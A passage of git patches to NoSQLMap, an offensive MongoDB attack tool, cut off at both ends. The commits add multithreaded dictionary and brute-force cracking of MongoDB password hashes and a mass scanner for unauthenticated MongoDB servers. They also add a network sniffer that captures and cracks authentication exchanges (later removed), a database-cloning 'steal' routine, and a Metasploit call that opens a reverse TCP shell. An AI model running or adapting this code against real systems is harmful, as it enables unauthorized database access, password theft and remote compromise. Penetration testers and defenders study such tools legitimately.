insertions(+), 4 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 2eaa203..077a923 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -60,7 +60,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.3" + print "NoSQLMap-v0.31" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -567,7 +567,7 @@ def postApps(): print "App is up!" appUp = True else: - print "Got " + appRespCode + "from the app, check your options." + print "Got " + str(appRespCode) + "from the app, check your options." except: print "Looks like the server didn't respond. Check your options." @@ -863,7 +863,7 @@ def getApps(): appUp = True else: - print "Got " + appRespCode + "from the app, check your options." + print "Got " + str(appRespCode) + "from the app, check your options." except: print "Looks like the server didn't respond. Check your options." @@ -968,7 +968,7 @@ def getApps(): print "\n" doTimeAttack = raw_input("Start timing based tests (y/n)? ") - if doTimeAttack in yes_tags: + if doTimeAttack in yes_tag: print "Starting Javascript string escape time based injection..." start = time.time() strTimeInj = urllib.urlopen(uriArray[8]) From f8b4f939f5aa2b9fc3a9f7556d451fe7af54fc9e Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 25 May 2014 14:07:09 -0500 Subject: [PATCH 054/207] Banner change for 0.4-DEV --- nosqlmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 077a923..2f90fa1 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -60,7 +60,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.31" + print "NoSQLMap-v0.4DEV" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -519,7 +519,7 @@ def netAttacks(target): raw_input("Press enter to continue...") return() - + def postApps(): print "Web App Attacks (POST)" print "===============" From 1b33c348a453dbbe850f1a03a0149546bc51cc21 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 25 May 2014 16:07:38 -0500 Subject: [PATCH 055/207] Password cracking changes Multithreading for dictionary attacks Password brute forcing rename password methods for better clarity --- .gitignore | 6 +++++ nosqlmap.py | 66 +++++++++++++++++++++++++++++++++++++++++++---------- 2 files changed, 60 insertions(+), 12 deletions(-) diff --git a/.gitignore b/.gitignore index b9d6bd9..5a71fa4 100644 --- a/.gitignore +++ b/.gitignore @@ -213,3 +213,9 @@ pip-log.txt #Mr Developer .mr.developer.cfg + +*.xml + +.idea/.name + +.idea/NoSQLMap.iml diff --git a/nosqlmap.py b/nosqlmap.py index 2f90fa1..bace9de 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -30,7 +30,9 @@ import signal import ast import datetime +import itertools from hashlib import md5 +from threading import Thread #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -476,7 +478,7 @@ def netAttacks(target): crack = raw_input("Crack this hash (y/n)? ") if crack in yes_tag: - brute_pass(users[x]['user'],users[x]['pwd']) + dict_pass(users[x]['user'],users[x]['pwd']) except: print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -1407,10 +1409,11 @@ def massMongo(): else: raw_input("Invalid selection.") -def gen_pass(user, passw): - return md5(user + ":mongo:" + str(passw)).hexdigest(); +def gen_pass(user, passw, hashVal): + if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: + print "\nFound - " + user + ":" + passw -def brute_pass(user,key): +def dict_pass(user,key): loadCheck = False while loadCheck == False: @@ -1425,14 +1428,53 @@ def brute_pass(user,key): print "Running dictionary attack..." for passGuess in passList: temp = passGuess.split("\n")[0] - - if gen_pass(user, temp) == key: - print "\nFound - "+user+":"+passGuess - return passGuess - - print "Password not found for "+user - return "" + t = Thread(target=gen_pass, args = (user, temp, key)) + return + +def genBrute(chars, maxLen): + return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) +def brute_pass(user,key): + charSel = True + print "\n" + maxLen = raw_input("Enter the maximum password length to attempt: ") + print "1-Lower case letters" + print "2-Upper case letters" + print "3-Upper + lower case letters" + print "4-Numbers only" + print "5-Alphanumeric (upper and lower case)" + print "6-Alphanumeric + special characters" + + while charSel: + charSel = raw_input("\nSelect character set to use:") + if charSel == "1": + chainSet = string.ascii_lowercase + + elif charSel == "2": + chainSet= string.ascii_uppercase + + elif charSel == "3": + chainSet = string.ascii_letters + + elif charSel == "4": + chainSet = string.digits + + elif charSel == "5": + chainSet = string.ascii_letters + string.digits + + elif charSel == "6": + chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" + + else: + charSel = True + print "Invalid selection." + + for attempt in genBrute (chainSet,int(maxLen)): + if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: + print "\nFound - " + user + ":" + attempt + break + return + def getDBInfo(): curLen = 0 nameLen = 0 @@ -1638,7 +1680,7 @@ def getDBInfo(): menuItem +=1 userIndex = raw_input("Select user hash to crack: ") - brute_pass(users[int(userIndex)-1],hashes[int(userIndex)-1]) + dict_pass(users[int(userIndex)-1],hashes[int(userIndex)-1]) crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") From a9abc88651e7e833a577c82f81ddbbc3544abf6f Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 4 Jun 2014 16:09:42 -0500 Subject: [PATCH 056/207] Added dynamic access testing for DB attacks --- nosqlmap.py | 91 ++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 65 insertions(+), 26 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index bace9de..2320e52 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -48,6 +48,9 @@ global myIP global myPort global verb +global scanNeedCreds +global dbPort +dbPort = 27017 def mainMenu(): mmSelect = True @@ -142,9 +145,7 @@ def options(): myPort = "Not Set" if optionSet[6] == False: verb = "OFF" - if optionSet[7] == False: - dbPort = 27017 - optSelect = True + optSelect = True while optSelect: print "\n\n" @@ -377,31 +378,38 @@ def netAttacks(target): global dbPort dbList = [] - srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ") + print "Checking to see if credentials are needed..." + needCreds = accessCheck(target,dbPort) - if srvNeedCreds in no_tag: - - try: - conn = pymongo.MongoClient(target,dbPort) - print "MongoDB port open on " + target + ":" + str(dbPort) - mgtOpen = True - - except: - print "MongoDB port closed." + if needCreds == 0: + conn = pymongo.MongoClient(target,dbPort) + print "Successful access with no credentials!" + mgtOpen = True - elif srvNeedCreds in yes_tag: + elif needCreds == 1: + print "Login required!" srvUser = raw_input("Enter server username: ") srvPass = raw_input("Enter server password: ") - uri = "mongodb://" + srvUser + ":" + srvPass + "@" + victim +"/" - + uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" + try: - conn = pymongo.MongoClient(uri) + conn = pymongo.MongoClient(target) print "MongoDB authenticated on " + target + ":27017!" mgtOpen = True except: + print str(sys.exc_info()) raw_input("Failed to authenticate. Press enter to continue...") return + elif needCreds == 2: + conn = pymongo.MongoClient(target,dbPort) + print "Access check failure. Testing will continue but will be unreliable." + mgtOpen = True + + elif needCreds == 3: + print "Couldn't connect to Mongo server." + return + mgtUrl = "http://" + target + ":28017" #Future rev: Add web management interface parsing @@ -1327,11 +1335,34 @@ def stealDBs(myDB): raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return +def accessCheck(ip,port): + try: + conn = pymongo.MongoClient(ip,port) + + try: + dbList = conn.database_names() + conn.disconnect() + return 0 + + except: + if str(sys.exc_info()).find('need to login') != -1: + conn.disconnect() + return 1 + + else: + conn.disconnect() + return 2 + + except: + return 3 + + def massMongo(): global victim optCheck = True loadCheck = False success = [] + creds = [] ipList = [] print "\n" print "MongoDB Default Access Scanner" @@ -1372,22 +1403,29 @@ def massMongo(): print "\n" for target in ipList: - try: - conn = pymongo.MongoClient(target,27017) - print "Connected to " + target - dbList = conn.database_names() + result = accessCheck(target,27017) - print "Successful default access on " + target + if result == 0: + print "Successful default access on " + target + "." success.append(target) - conn.disconnect() + + elif result == 1: + print "MongoDB running but credentials required on " + target + "." + success.append(target) + + elif result == 2: + print "Successful MongoDB connection but error executing command." + success.append(target) + + elif result == 3: + print "Couldn't connect to " + target + "." - except: - print "Failed to connect to or need credentials for " + target print "\n\n" print "Discovered MongoDB Servers:" menuItem = 1 + for server in success: print str(menuItem) + "-" + server menuItem += 1 @@ -1400,7 +1438,7 @@ def massMongo(): if select == "x" or select == "X": return - elif select.isdigit() == True: + elif select.isdigit() == True and int(select) <= menuItem: victim = success[int(select) - 1] optionSet[0] = True raw_input("New target set! Press enter to return to the main menu.") @@ -1429,6 +1467,7 @@ def dict_pass(user,key): for passGuess in passList: temp = passGuess.split("\n")[0] t = Thread(target=gen_pass, args = (user, temp, key)) + t.start() return def genBrute(chars, maxLen): From d88dd2af6c4d6aa2c10c6749fa446accb1af3f42 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 4 Jun 2014 16:37:09 -0500 Subject: [PATCH 057/207] Added sniffer cracking --- nosqlmap.py | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 87 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 2320e52..f30044a 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -31,8 +31,11 @@ import ast import datetime import itertools +import re from hashlib import md5 from threading import Thread +from scapy.all import * + #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -72,6 +75,7 @@ def mainMenu(): print "2-NoSQL DB Access Attacks" print "3-NoSQL Web App attacks" print "4-Scan for Anonymous MongoDB Access" + print "5-Sniff and Crack MongoDB Password" print "x-Exit" select = raw_input("Select an option: ") @@ -103,6 +107,9 @@ def mainMenu(): elif select == "4": massMongo() + + elif select == "5": + sniff_and_brute() elif select == "x": sys.exit() @@ -397,7 +404,6 @@ def netAttacks(target): print "MongoDB authenticated on " + target + ":27017!" mgtOpen = True except: - print str(sys.exc_info()) raw_input("Failed to authenticate. Press enter to continue...") return @@ -1724,10 +1730,89 @@ def getDBInfo(): crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") return + +def sniff_and_brute(): + class sniff_and_brute(object): + + def get_packets(self, port, iface, count): + packets = sniff(filter="port "+str(port)+"", count=count, iface=str(iface)) + return packets + + def parse_packets(self, port, iface, count): + print "Sniff packages..." + packets = self.get_packets(port, iface, count) + print "Parse packages..." + + for i in xrange(len(packets)): + if "key" in re.findall(r'[A-Za-z0-9]{3,}', str(packets[i])): + packet=packets[i] + break + + user = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[4] + nonce = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[6] + key = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[8] + return user, nonce, key + + def gen_pass(self, user, nonce, passw): + return md5(nonce + user + md5(user + ":mongo:" + str(passw)).hexdigest()).hexdigest(); + + + def brute_pass(self, port, iface, dictionary): + count = 10 # count of packets which should be sniffed + nonce, user, key = self.parse_packets(str(port), str(iface), int(count)) + print "Prepair to brute..." + file = open(dictionary) + file_len = open(dictionary) + + for i in xrange(len(file_len.readlines())): + passw = file.readline().split('\n')[0] + + if self.gen_pass(user, nonce, passw) == key: + raw_input("\nFound - "+user+":"+passw) + break + exit + + def test(self): + self.test1("string") + def test1(self, string): + self.string = string + print string + + + print "\nSniff and brute mongo password." + start = raw_input("Prepare to start (Y/N)? ") + + if start == "y" or start == "Y": + next = raw_input("Port (default 27017): ") + if type(next) != int: + port = 27017 + else: + port = next + next = raw_input("Interface to sniff: ") + if type(next) != str: + print "Error!" + exit + else: + iface=next + next= raw_input("Full path to dictionary for brute: ") + if type(next) != str: + print "Error!" + exit + else: + dictionary = next + else: + exit + + + start = raw_input("Start? (Y/N)") + if start == "y" or start == "Y": + sniff_brute = sniff_and_brute() + sniff_brute.brute_pass(port, iface, dictionary) def signal_handler(signal, frame): print "\n" print "CTRL+C detected. Exiting." sys.exit() + signal.signal(signal.SIGINT, signal_handler) -mainMenu() +mainMenu() \ No newline at end of file From d283712a7538b126b3d5265f2aa505bac5adaa45 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 5 Jun 2014 20:48:22 -0500 Subject: [PATCH 058/207] Implemented Brute Force Hash Crack --- nosqlmap.py | 119 +++++++++++++--------------------------------------- 1 file changed, 28 insertions(+), 91 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index f30044a..fb86bc6 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,8 +34,6 @@ import re from hashlib import md5 from threading import Thread -from scapy.all import * - #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -75,7 +73,6 @@ def mainMenu(): print "2-NoSQL DB Access Attacks" print "3-NoSQL Web App attacks" print "4-Scan for Anonymous MongoDB Access" - print "5-Sniff and Crack MongoDB Password" print "x-Exit" select = raw_input("Select an option: ") @@ -107,9 +104,6 @@ def mainMenu(): elif select == "4": massMongo() - - elif select == "5": - sniff_and_brute() elif select == "x": sys.exit() @@ -492,7 +486,7 @@ def netAttacks(target): crack = raw_input("Crack this hash (y/n)? ") if crack in yes_tag: - dict_pass(users[x]['user'],users[x]['pwd']) + passCrack(users[x]['user'],users[x]['pwd']) except: print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -1452,7 +1446,29 @@ def massMongo(): else: raw_input("Invalid selection.") + +def passCrack (user, encPass): + select = True + print "Select password cracking method: " + print "1-Dictionary Attack" + print "2-Brute Force" + print "3-Exit" + + while select: + select = raw_input("Selection: ") + if select == "1": + select = False + dict_pass(user,encPass) + + elif select == "2": + select = False + brute_pass(user,encPass) + + elif select == "3": + return + return + def gen_pass(user, passw, hashVal): if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: print "\nFound - " + user + ":" + passw @@ -1489,9 +1505,8 @@ def brute_pass(user,key): print "4-Numbers only" print "5-Alphanumeric (upper and lower case)" print "6-Alphanumeric + special characters" + charSel = raw_input("\nSelect character set to use:") - while charSel: - charSel = raw_input("\nSelect character set to use:") if charSel == "1": chainSet = string.ascii_lowercase @@ -1509,12 +1524,11 @@ def brute_pass(user,key): elif charSel == "6": chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" - - else: - charSel = True - print "Invalid selection." + count = 0 for attempt in genBrute (chainSet,int(maxLen)): + print "Tested " + str(count) + " cominations." + count += 1 if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: print "\nFound - " + user + ":" + attempt break @@ -1731,84 +1745,7 @@ def getDBInfo(): raw_input("Press enter to continue...") return -def sniff_and_brute(): - class sniff_and_brute(object): - - def get_packets(self, port, iface, count): - packets = sniff(filter="port "+str(port)+"", count=count, iface=str(iface)) - return packets - - def parse_packets(self, port, iface, count): - print "Sniff packages..." - packets = self.get_packets(port, iface, count) - print "Parse packages..." - - for i in xrange(len(packets)): - if "key" in re.findall(r'[A-Za-z0-9]{3,}', str(packets[i])): - packet=packets[i] - break - - user = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[4] - nonce = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[6] - key = re.findall(r'[A-Za-z0-9]{3,}', str(packet))[8] - return user, nonce, key - - def gen_pass(self, user, nonce, passw): - return md5(nonce + user + md5(user + ":mongo:" + str(passw)).hexdigest()).hexdigest(); - - - def brute_pass(self, port, iface, dictionary): - count = 10 # count of packets which should be sniffed - nonce, user, key = self.parse_packets(str(port), str(iface), int(count)) - print "Prepair to brute..." - file = open(dictionary) - file_len = open(dictionary) - - for i in xrange(len(file_len.readlines())): - passw = file.readline().split('\n')[0] - - if self.gen_pass(user, nonce, passw) == key: - raw_input("\nFound - "+user+":"+passw) - break - exit - - def test(self): - self.test1("string") - def test1(self, string): - self.string = string - print string - - - print "\nSniff and brute mongo password." - start = raw_input("Prepare to start (Y/N)? ") - - if start == "y" or start == "Y": - next = raw_input("Port (default 27017): ") - if type(next) != int: - port = 27017 - else: - port = next - next = raw_input("Interface to sniff: ") - if type(next) != str: - print "Error!" - exit - else: - iface=next - next= raw_input("Full path to dictionary for brute: ") - if type(next) != str: - print "Error!" - exit - else: - dictionary = next - else: - exit - - - start = raw_input("Start? (Y/N)") - if start == "y" or start == "Y": - sniff_brute = sniff_and_brute() - sniff_brute.brute_pass(port, iface, dictionary) - + def signal_handler(signal, frame): print "\n" print "CTRL+C detected. Exiting." From a0ed906afe7fe011bbc086f927f0e538402c5a87 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 16 Jun 2014 15:24:04 -0500 Subject: [PATCH 059/207] Added option to ping hosts before conn attempt --- nosqlmap.py | 78 ++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 60 insertions(+), 18 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index fb86bc6..adbf150 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -380,7 +380,7 @@ def netAttacks(target): dbList = [] print "Checking to see if credentials are needed..." - needCreds = accessCheck(target,dbPort) + needCreds = accessCheck(target,dbPort,False) if needCreds == 0: conn = pymongo.MongoClient(target,dbPort) @@ -1335,32 +1335,61 @@ def stealDBs(myDB): raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return -def accessCheck(ip,port): - try: - conn = pymongo.MongoClient(ip,port) +def accessCheck(ip,port,pingIt): + + if pingIt == True: + test = os.system("ping -w 0.1 -c 1 " + ip + ">/dev/null") + + if test == 0: + try: + conn = pymongo.MongoClient(ip,port) + try: + dbList = conn.database_names() + conn.disconnect() + return 0 + + except: + if str(sys.exc_info()).find('need to login') != -1: + conn.disconnect() + return 1 + + else: + conn.disconnect() + return 2 + + except: + return 3 + + else: + return 4 + else: try: - dbList = conn.database_names() - conn.disconnect() - return 0 + conn = pymongo.MongoClient(ip,port) - except: - if str(sys.exc_info()).find('need to login') != -1: + try: + dbList = conn.database_names() conn.disconnect() - return 1 + return 0 + + except: + if str(sys.exc_info()).find('need to login') != -1: + conn.disconnect() + return 1 - else: - conn.disconnect() - return 2 + else: + conn.disconnect() + return 2 - except: - return 3 - + except: + return 3 + def massMongo(): global victim optCheck = True loadCheck = False + ping = False success = [] creds = [] ipList = [] @@ -1369,10 +1398,11 @@ def massMongo(): print "==============================" print "1-Scan a subnet for default MongoDB access" print "2-Loads IPs to scan from a file" + print "3-Enable/disable host pings before attempting connection" print "x-Return to main menu" while optCheck: - loadOpt = raw_input("Select a scan method: ") + loadOpt = raw_input("Select an option: ") if loadOpt == "1": subnet = raw_input("Enter subnet to scan: ") @@ -1396,6 +1426,15 @@ def massMongo(): optCheck = False except: print "Couldn't open file." + + if loadOpt == "3": + if ping == False: + ping = True + print "Scan will ping host before connection attempt." + + elif ping == True: + ping = False + print "Scan will not ping host before connection attempt." if loadOpt == "x": return @@ -1403,7 +1442,7 @@ def massMongo(): print "\n" for target in ipList: - result = accessCheck(target,27017) + result = accessCheck(target,27017,ping) if result == 0: print "Successful default access on " + target + "." @@ -1419,6 +1458,9 @@ def massMongo(): elif result == 3: print "Couldn't connect to " + target + "." + + elif result == 4: + print target + " didn't respond to ping." print "\n\n" From 932a42c19f49ea569b8e6b96bc2a564a1946c531 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 16 Jun 2014 18:57:58 -0500 Subject: [PATCH 060/207] Scan speed enhancements --- nosqlmap.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index adbf150..719b724 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1338,11 +1338,11 @@ def stealDBs(myDB): def accessCheck(ip,port,pingIt): if pingIt == True: - test = os.system("ping -w 0.1 -c 1 " + ip + ">/dev/null") + test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") if test == 0: try: - conn = pymongo.MongoClient(ip,port) + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) try: dbList = conn.database_names() @@ -1365,7 +1365,7 @@ def accessCheck(ip,port,pingIt): return 4 else: try: - conn = pymongo.MongoClient(ip,port) + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=2000) try: dbList = conn.database_names() @@ -1442,14 +1442,14 @@ def massMongo(): print "\n" for target in ipList: - result = accessCheck(target,27017,ping) + result = accessCheck(target.rstrip(),27017,ping) if result == 0: - print "Successful default access on " + target + "." + print "Successful default access on " + target.rstrip() + "." success.append(target) elif result == 1: - print "MongoDB running but credentials required on " + target + "." + print "MongoDB running but credentials required on " + target.rstrip() + "." success.append(target) elif result == 2: @@ -1457,10 +1457,10 @@ def massMongo(): success.append(target) elif result == 3: - print "Couldn't connect to " + target + "." + print "Couldn't connect to " + target.rstrip() + "." elif result == 4: - print target + " didn't respond to ping." + print target.rstrip() + " didn't respond to ping." print "\n\n" From 3114b49f675bfcc82fd95a80758e1a1db1ce9698 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 16 Jun 2014 19:12:08 -0500 Subject: [PATCH 061/207] Add socket timeouts to non-ping scans --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 719b724..45b0fd9 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1365,7 +1365,7 @@ def accessCheck(ip,port,pingIt): return 4 else: try: - conn = pymongo.MongoClient(ip,port,connectTimeoutMS=2000) + conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) try: dbList = conn.database_names() From 9f632629f84af283f6510ba22309be17144c0748 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 29 Jun 2014 22:35:12 -0500 Subject: [PATCH 062/207] Code restructure and menu for NetAttacks --- nosqlmap.py | 174 ++++++++++++++++++++++++++++++---------------------- 1 file changed, 100 insertions(+), 74 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 45b0fd9..4e1118b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -374,6 +374,7 @@ def netAttacks(target): print "=================" mgtOpen = False webOpen = False + mgtSelect = True #This is a global for future use with other modules; may change global dbList global dbPort @@ -435,99 +436,123 @@ def netAttacks(target): dbTemp= dbs['databases'][x]['name'] print str(menuItem) + "-" + dbTemp menuItem += 1 + else: + print "REST interface not enabled." print "\n" - else: - print "REST interface not enabled." - - except: - + except: print "MongoDB web management closed or requires authentication." - print "\n" if mgtOpen == True: - print "Server Info:" - mongoVer = conn.server_info()['version'] - print "MongoDB Version: " + mongoVer - mongoDebug = conn.server_info()['debug'] - print "Debugs enabled : " + str(mongoDebug) - mongoPlatform = conn.server_info()['bits'] - print "Platform: " + str(mongoPlatform) + " bit" - print "\n" - try: - print "List of databases:" - dbList = conn.database_names() - print "\n".join(dbList) + while mgtSelect: print "\n" + print "1-Get Server Version and Platform" + print "2-Enumerate Databases/Collections/Users" + print "3-Check for GridFS" + print "4-Clone a Database" + print "5-Launch Metasploit Exploit for Mongo < 2.2.4" + print "6-Return to Main Menu" + attack = raw_input("Select an attack: ") + + if attack == "1": + print "\n" + getPlatInfo(conn) - except: - print "Error: Couldn't list databases. The provided credentials may not have rights." - - print "List of collections:" - #print "\n" - - try: - for dbItem in dbList: - db = conn[dbItem] - colls = db.collection_names() - print dbItem + ":" - print "\n".join(colls) + if attack == "2": + print "\n" + enumDbs(conn) + + if attack == "3": + print "\n" + enumGrid(conn) + + if attack == "4": + print "\n" + stealDBs(myIP,conn) + + if attack == "5": print "\n" + msfLaunch() + + if attack == "6": + return + + - if 'system.users' in colls: - users = list(db.system.users.find()) - print "Database Users and Password Hashes:" +def getPlatInfo (mongoConn): + print "Server Info:" + print "MongoDB Version: " + mongoConn.server_info()['version'] + print "Debugs enabled : " + str(mongoConn.server_info()['debug']) + print "Platform: " + str(mongoConn.server_info()['bits']) + " bit" + print "\n" + return + +def enumDbs (mongoConn): + try: + print "List of databases:" + print "\n".join(mongoConn.database_names()) + print "\n" + + except: + print "Error: Couldn't list databases. The provided credentials may not have rights." + + print "List of collections:" + + try: + for dbItem in mongoConn.database_names(): + db = mongoConn[dbItem] + print dbItem + ":" + print "\n".join(db.collection_names()) + print "\n" + + if 'system.users' in db.collection_names(): + users = list(db.system.users.find()) + print "Database Users and Password Hashes:" - for x in range (0,len(users)): - print "Username: " + users[x]['user'] - print "Hash: " + users[x]['pwd'] - print "\n" - crack = raw_input("Crack this hash (y/n)? ") + for x in range (0,len(users)): + print "Username: " + users[x]['user'] + print "Hash: " + users[x]['pwd'] + print "\n" + crack = raw_input("Crack this hash (y/n)? ") - if crack in yes_tag: - passCrack(users[x]['user'],users[x]['pwd']) + if crack in yes_tag: + passCrack(users[x]['user'],users[x]['pwd']) - except: - print "Error: Couldn't list collections. The provided credentials may not have rights." - - print "\n" - #Start GridFS enumeration - - testGrid = raw_input("Check for GridFS (y/n)? ") + except: + print "Error: Couldn't list collections. The provided credentials may not have rights." - if testGrid in yes_tag: + print "\n" + return + +def enumGrid (mongoConn): + try: + for dbItem in mongoConn.database_names(): try: - for dbItem in dbList: - try: - db = conn[dbItem] - fs = gridfs.GridFS(db) - files = fs.list() - print "GridFS enabled on database " + str(dbItem) - print " list of files:" - print "\n".join(files) + db = mongoConn[dbItem] + fs = gridfs.GridFS(db) + files = fs.list() + print "GridFS enabled on database " + str(dbItem) + print " list of files:" + print "\n".join(files) - except: - print "GridFS not enabled on " + str(dbItem) + "." except: - print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." + print "GridFS not enabled on " + str(dbItem) + "." + + except: + print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." - stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ") - - if stealDB in yes_tag: - stealDBs (myIP) + return + - getShell = raw_input("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? ") - - if getShell in yes_tag: - #Launch Metasploit exploit - try: - proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) +def msfLaunch(): + try: + proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) - except: - print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." + except: + print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." raw_input("Press enter to continue...") - return() + return def postApps(): @@ -1276,7 +1301,8 @@ def buildUri(origUri, randValue): return uriArray[0] -def stealDBs(myDB): +def stealDBs(myDB,mongoConn): + dbList = mongoConn.database_names() menuItem = 1 if optionSet[4] == False: raw_input("No destination database set! Press enter to return to the main menu.") @@ -1453,7 +1479,7 @@ def massMongo(): success.append(target) elif result == 2: - print "Successful MongoDB connection but error executing command." + print "Successful MongoDB connection to " + target.rstrip() + " but error executing command." success.append(target) elif result == 3: From ce5af3c665eb5785a6ed9da03eb740e5e942f322 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 2 Jul 2014 07:47:32 -0500 Subject: [PATCH 063/207] Move non default access to separate bucket --- nosqlmap.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4e1118b..44dc3f3 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1418,6 +1418,7 @@ def massMongo(): ping = False success = [] creds = [] + commError = [] ipList = [] print "\n" print "MongoDB Default Access Scanner" @@ -1476,11 +1477,11 @@ def massMongo(): elif result == 1: print "MongoDB running but credentials required on " + target.rstrip() + "." - success.append(target) + creds.append(target) elif result == 2: print "Successful MongoDB connection to " + target.rstrip() + " but error executing command." - success.append(target) + commError.append(target) elif result == 3: print "Couldn't connect to " + target.rstrip() + "." @@ -1490,13 +1491,13 @@ def massMongo(): print "\n\n" - print "Discovered MongoDB Servers:" + print "Discovered MongoDB Servers with No Auth:" menuItem = 1 for server in success: print str(menuItem) + "-" + server - menuItem += 1 + menuItem += 1 select = True print "\n" From a4da25245ffab2f7e7d3630fb1c9afd3a595f155 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 10 Jul 2014 22:43:14 -0500 Subject: [PATCH 064/207] HTTP error logic, finish scanner changes, minor cu --- nosqlmap.py | 110 +++++++++++++++++++++++++++++++++++----------------- 1 file changed, 75 insertions(+), 35 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 44dc3f3..ef3289a 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -383,12 +383,12 @@ def netAttacks(target): print "Checking to see if credentials are needed..." needCreds = accessCheck(target,dbPort,False) - if needCreds == 0: + if needCreds[0] == 0: conn = pymongo.MongoClient(target,dbPort) print "Successful access with no credentials!" mgtOpen = True - elif needCreds == 1: + elif needCreds[0] == 1: print "Login required!" srvUser = raw_input("Enter server username: ") srvPass = raw_input("Enter server password: ") @@ -402,12 +402,12 @@ def netAttacks(target): raw_input("Failed to authenticate. Press enter to continue...") return - elif needCreds == 2: + elif needCreds[0] == 2: conn = pymongo.MongoClient(target,dbPort) print "Access check failure. Testing will continue but will be unreliable." mgtOpen = True - elif needCreds == 3: + elif needCreds[0] == 3: print "Couldn't connect to Mongo server." return @@ -930,6 +930,10 @@ def getApps(): print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." else: print "Test 1: PHP associative array injection" + + #Test for errors returned by injection + errorCheck = 